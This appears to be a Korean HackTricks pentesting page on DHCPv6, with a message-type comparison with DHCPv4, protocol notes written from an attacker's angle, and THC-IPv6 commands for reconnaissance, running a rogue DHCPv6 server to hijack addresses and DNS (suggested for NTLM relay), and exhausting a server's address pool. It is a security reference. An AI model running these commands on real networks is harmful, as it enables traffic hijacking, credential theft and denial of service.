DHCPv6
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
DHCPv6 vs. DHCPv4 Message Types Comparison
아래 표는 DHCPv6와 DHCPv4 메시지 유형을 비교한 것입니다:
| DHCPv6 Message Type | DHCPv4 Message Type |
|---|---|
| Solicit (1) | DHCPDISCOVER |
| Advertise (2) | DHCPOFFER |
| Request (3), Renew (5), Rebind (6) | DHCPREQUEST |
| Reply (7) | DHCPACK / DHCPNAK |
| Release (8) | DHCPRELEASE |
| Information-Request (11) | DHCPINFORM |
| Decline (9) | DHCPDECLINE |
| Confirm (4) | none |
| Reconfigure (10) | DHCPFORCERENEW |
| Relay-Forw (12), Relay-Reply (13) | none |
DHCPv6 메시지 유형에 대한 자세한 설명:
- Solicit (1): DHCPv6 클라이언트가 사용 가능한 서버를 찾기 위해 시작하는 메시지입니다.
- Advertise (2): 서버가 Solicit에 응답해 DHCP 서비스를 제공할 수 있음을 알리는 메시지입니다.
- Request (3): 클라이언트가 특정 서버에 IP 주소 또는 프리픽스 할당을 요청할 때 사용합니다.
- Confirm (4): 클라이언트가 네트워크 변경 후 할당된 주소들이 여전히 유효한지 확인할 때 사용합니다.
- Renew (5): 클라이언트가 주소 수명 연장이나 구성 업데이트를 위해 원래 서버에 전송합니다.
- Rebind (6): Renew에 대한 응답이 없을 때 특히, 주소 수명 연장이나 구성 업데이트를 위해 임의의 서버에게 전송합니다.
- Reply (7): 서버가 주소·구성 파라미터를 제공하거나 Release/Decline 같은 메시지에 대한 확인 응답을 보낼 때 사용합니다.
- Release (8): 클라이언트가 하나 이상의 할당된 주소 사용을 중단하도록 서버에 알립니다.
- Decline (9): 클라이언트가 할당된 주소가 네트워크 상에서 충돌이 발생함을 보고할 때 전송합니다.
- Reconfigure (10): 서버가 클라이언트에게 새 구성이나 업데이트된 구성 적용을 위해 트랜잭션을 시작하도록 요청합니다.
- Information-Request (11): 클라이언트가 IP 주소 할당 없이 구성 파라미터만 요청할 때 사용합니다.
- Relay-Forw (12): 릴레이 에이전트가 메시지를 서버로 전달합니다.
- Relay-Repl (13): 서버가 릴레이 에이전트에 응답하면, 릴레이 에이전트가 이를 클라이언트에 전달합니다.
Quick Protocol Notes (공격 관점)
- DHCPv6 클라이언트는 UDP 포트
546을 사용하고, 서버/릴레이는 UDP 포트547을 사용합니다. - 클라이언트는 Solicit을 All_DHCP_Relay_Agents_and_Servers (
ff02::1:2)로 전송합니다; 서버/릴레이는 해당 주소를 수신 대기합니다. All_DHCP_Servers는ff05::1:3입니다. - 클라이언트와 서버 식별자는
OPTION_CLIENTID및OPTION_SERVERID에 DUIDs로 담깁니다. 이는 주소 변경 시에도 동일 호스트를 지문화(fingerprinting)하는 데 유용합니다. - 주소 할당은
IA_NA(non-temporary address)로 요청하고, 프리픽스 위임은IA_PD(downstream router prefix)로 요청합니다.
Quick Recon
# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'
# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>
악성 DHCPv6 서버 (주소/DNS 하이재킹)
# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>
이것은 일반적인 on-link rogue DHCPv6 서버입니다. Windows/AD 네트워크에서는 NTLM relay primitives를 원하면 이를 higher-level relays (IPv6 페이지 참조)와 함께 사용하세요.
풀 소진 / DHCPv6 고갈
# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>
Reconfigure 메시지 주의사항
DHCPv6 Reconfigure는 무턱대고 수락되지 않습니다: 클라이언트는 명시적으로 OPTION_RECONF_ACCEPT를 보낸 경우에만 이를 수락합니다. 기본적으로 클라이언트는 Reconfigure 메시지를 수락하려 하지 않습니다, 따라서 해당 옵션을 관찰하거나 유도하지 않으면 불확실한 Reconfigure 공격은 종종 실패합니다.
참고자료
-
https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


